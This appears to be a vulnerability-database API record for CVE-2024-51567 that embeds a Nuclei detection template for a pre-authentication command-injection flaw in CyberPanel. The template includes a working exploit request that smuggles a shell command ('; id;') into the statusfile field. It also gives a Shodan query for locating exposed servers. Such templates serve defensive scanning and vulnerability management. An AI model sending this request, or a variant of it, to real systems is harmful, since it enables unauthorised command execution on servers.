{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2024-51567/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2024-51567/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2024-51567/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2024-51567/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2024-51567/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2024-51567"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2024-51567"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2024/CVE-2024-51567.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2024-51567\n\ninfo:\n  name: CyberPanel v2.3.6 Pre-Auth Remote Code Execution\n  author: DhiyaneshDK\n  severity: critical\n  description: |\n    upgrademysqlstatus in databases/views.py in CyberPanel (aka Cyber Panel) before 5b08cd6 allows remote attackers to bypass authentication and execute arbitrary commands via /dataBases/upgrademysqlstatus by bypassing secMiddleware (which is only for a POST request) and using shell metacharacters in the statusfile property, as exploited in the wild in October 2024 by PSAUX. Versions through 2.3.6 and (unpatched) 2.3.7 are affected.\n  remediation: |\n    Apply the latest security patches and updates from the vendor to address this vulnerability.\n  impact: Attackers can exploit this vulnerability by crafting malicious requests that bypass authentication controls, allowing them to inject and execute arbitrary commands on the underlying server.\n  reference:\n    - https://community.cyberpanel.net/t/cyberpanel-2-1-remote-code-execution-rce/31760\n    - https://dreyand.rs/code/review/2024/10/27/what-are-my-options-cyberpanel-v236-pre-auth-rce\n    - https://cwe.mitre.org/data/definitions/420.html\n    - https://cwe.mitre.org/data/definitions/78.html\n    - https://cyberpanel.net/KnowledgeBase/home/change-logs/\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 10\n    cve-id: CVE-2024-51567\n    cwe-id: CWE-306\n    epss-score: 0.86633\n    epss-percentile: 0.99731\n    cpe: cpe:2.3:a:cyberpanel:cyberpanel:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: cyberpanel\n    product: cyberpanel\n    shodan-query: html:\"CyberPanel\"\n  tags: cve,cve2024,cyberpanel,rce,intrusive,kev,vkev,vuln\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n      - |\n        PUT /dataBases/upgrademysqlstatus HTTP/1.1\n        Host: {{Hostname}}\n        X-CSRFToken: {{csrftoken}}\n        Content-Type: application/json\n        Referer: {{RootURL}}\n        Cookie: csrftoken={{csrftoken}}\n\n        {\"statusfile\":\"/dev/null; id; #\",\"csrftoken\":\"{{csrftoken}}\"}\n\n    extractors:\n      - type: regex\n        part: header\n        name: csrftoken\n        internal: true\n        group: 1\n        regex:\n          - csrftoken=([A-Za-z0-9]+)\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"uid=\"\n          - \"error_message\"\n          - \"requestStatus\"\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a0047304502203d0b18d258fb30f4ecc3a7d740f6783e8a9c7d5b7d0639f948cf6fc27134d17d022100e3a78187db74d165d2b1a829167fe4092e1ff0d064c04f63ad90fd4fdbdb7dcc:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2024-51567"
}